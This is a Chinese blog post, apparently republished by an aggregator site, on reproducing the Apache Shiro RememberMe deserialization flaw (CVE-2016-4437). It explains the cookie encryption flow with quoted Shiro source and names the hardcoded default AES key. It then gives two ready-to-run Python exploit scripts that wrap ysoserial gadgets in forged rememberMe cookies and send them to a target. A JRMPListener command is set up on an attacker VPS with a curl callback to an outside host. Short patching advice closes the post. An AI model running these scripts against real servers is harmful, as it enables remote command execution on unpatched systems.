浅谈近期复现 shiro反序列化漏洞的一些心得
Posted LE分享互联
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浅谈近期复现 shiro反序列化漏洞的一些心得相关的知识,希望对你有一定的参考价值。
最近复现了一个shiro的反序列化漏洞,也是折腾了半天才搞出来,因此发出来和大家一起探讨~
1. CVE-2010-3863:影响Shiro1.1.0之前版本,由于程序shiro.ini 文件未对URL 地址规范化校验,从而可以目录穿越,例如 /./account/index.jsp
2. CVE-2014-0074: 影响Shiro1.x志1.2.3版本,主要是在应用LDAP允许未鉴权绑定时,空口令可绕过系统的认证
3. CVE-2016-4437 :影响Shiro<1.2.5版本,当未设置用于“remember me” 特性的AES密钥时,存在反序列化漏洞,可远程命令执行。
4. CVE-2016-6802:影响Shiro<1.3.2版本,允许攻击者通过使用非根servlet上下文路径来绕过预期的servlet filter并获得访问权限
5. CVE-2019-12422 :影响Shiro<1.4.2的所有版本,当使用默认的“rememberme”配置时,cookies可能容易受到填充(padding-oracle)攻击。
Shiro提供了记住我(RememberMe)的功能,即使关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问,基本流程如下:
首先在登录页面选中RememberMe然后登录成功;如果是浏览器登录,一般会把RememberMe的Cookie写到客户端并保存下来;
关闭浏览器再重新打开;会发现浏览器还是记住你的;
访问一般的网页服务器端还是知道你是谁,且能正常访问;
<!-- rememberMe管理器 -->
<bean id="rememberMeManager" class="org.apache.shiro.web.mgt.CookieRememberMeManager">
<property name="cipherKey" value="#{T(org.apache.shiro.codec.Base64).decode('4AvVhmFLUs0KTA3Kprsdag==')}" />
<property name="cookie" ref="rememberMeCookie" />
</bean>
官网漏洞说明:https://issues.apache.org/jira/browse/SHIRO-550,大致明白了Shiro-550( CVE-2016-4437)是使用了RememberMe功能, Shiro对rememberMe的cookie做了加密处理,shiro
CookieRememberMeManaer
类中将cookie中rememberMe字段内容分别进行 序列化、AES加密、Base64编码操作。然而当接收未验证身份的请求时,Shiro需要对Cookie里的rememberMe字段进行解密操作:Retrieve the value of the rememberMe cookie
Base 64 decode
Decrypt using AES
Deserialize using java serialization (ObjectInputStream).
进一步而言,也就是只要我们知道AES密钥,目前任意版本都可以被反序列化。Shiro 目前最新版本为1.4.2,但也未从根本上解决反序列化问题,只不过是从1.2.5版本开始,不在代码里硬编码默认密钥,而是通过密钥生成函数,生成一个随机密钥。在1.2.5版本之前得所有版本,core/src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager 类中,Shiro设置了一个默认密钥: kPH+bIxk5D2deZiIxcaaaA==
并且温馨的提示开发者不要使用默认密钥,而是通过org.apache.shiro.crypto.AesCipherService#generateNewKey() 产生一个密钥~
我们知道处理Cookie的类是
CookieRememberMeManaer
,该类继承
AbstractRememberMeManager
类,跟进
AbstractRememberMeManager
类,很容易看到AES的key。
如果登录成功,会调用onSuccessfulLogin()方法,shiro先将登录的用户名进行序列化,使用
DefaultSerializer
类的
serialize
方法:* @param subject the subject for which the principals are being remembered.
* @param token the token that resulted in a successful authentication attempt.
* @param info the authentication info resulting from the successful authentication attempt.
*/
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
//always clear any previous identity:
forgetIdentity(subject);
//now save the new identity:
if (isRememberMe(token)) {
rememberIdentity(subject, token, info);
} else {
if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. " +
"RememberMe functionality will not be executed for corresponding account.");
}
}
}
* @param subject the subject for which the principals are being remembered.
* @param accountPrincipals the principals to remember for retrieval later.
*/
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}
* @param principals the {@code PrincipalCollection} to convert to a byte array
* @return the representative byte array to be persisted for remember me functionality.
*/
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}
AbstractRememberMeManager
类的encrypt
方法* @param serialized the serialized object byte array to be encrypted
* @return an encrypted byte array returned by the configured {@link #getCipherService () cipher}.
*/
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
value = byteSource.getBytes();
}
return value;
}
CookieRememberMeManager
类的rememberSerializedIdentity()
方法中进行base64加密。3.2 解密过程
和加密过程类似,解密过程顺序相反,有了aeskey,加密模式AES/CBC/PKCS5Padding,就可以顺利解密了。首先是对cookie里面的 remenberMe进行base64解码然后再进行AES解密,最后一步就是反序列化了。关键步骤如下:
1->AES解密:调用AbstractRememberMeManager类的decrypt()方法,将加密的数据进行解密:
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
* @param encrypted the encrypted byte array to decrypt
* @return the decrypted byte array returned by the configured {@link #getCipherService () cipher}.
*/
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
DefaultSerializer
类的deserialize()
方法* @param serialized the raw data resulting from a previous {@link #serialize(Object) serialize} call.
* @return the deserialized/reconstituted object based on the given byte array
* @throws SerializationException if anything goes wrong using the streams.
*/
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialize argument byte array.";
throw new SerializationException(msg, e);
}
}
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
一旦程序未能控制反序列化的数据安全性,将会到导致反序列化漏洞, 一旦添加了有漏洞的
commons-collections
或者commons-beanutils
包,就会造成任意命令执行。这里有几个危险的基础库:
commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = ("0" * 16).encode()
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("/tmp/payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
(1)在公网VPS下监控一个JRMP端口:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections2 'curl test.ceye.io'
#coding: utf-8
import os
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES
JAR_FILE = 'ysoserial-0.0.6-SNAPSHOT-all.jar'
def poc(url, rce_command):
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
payload = generator(rce_command, JAR_FILE) # 生成payload
print payload
print payload.decode()
r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # 发送验证请求
print r.text
except Exception, e:
print(e)
pass
return False
def generator(command, fp):
if not os.path.exists(fp):
raise Exception('jar file not found!')
popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
poc('http://ip:8080', 'vpsip:12345')
升级Shiro版本到1.2.5及以上
如果在配置里面自己设置密钥,不要从网上拷贝aes密钥,使用官方提供的密钥生成方法:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
2. https://paper.seebug.org/shiro-rememberme-1-2-4/
3.https://websec.readthedocs.io/zh/latest/language/java/unserialize.html
我知道你肯定直接滑到了最后~
以上是关于浅谈近期复现 shiro反序列化漏洞的一些心得的主要内容,如果未能解决你的问题,请参考以下文章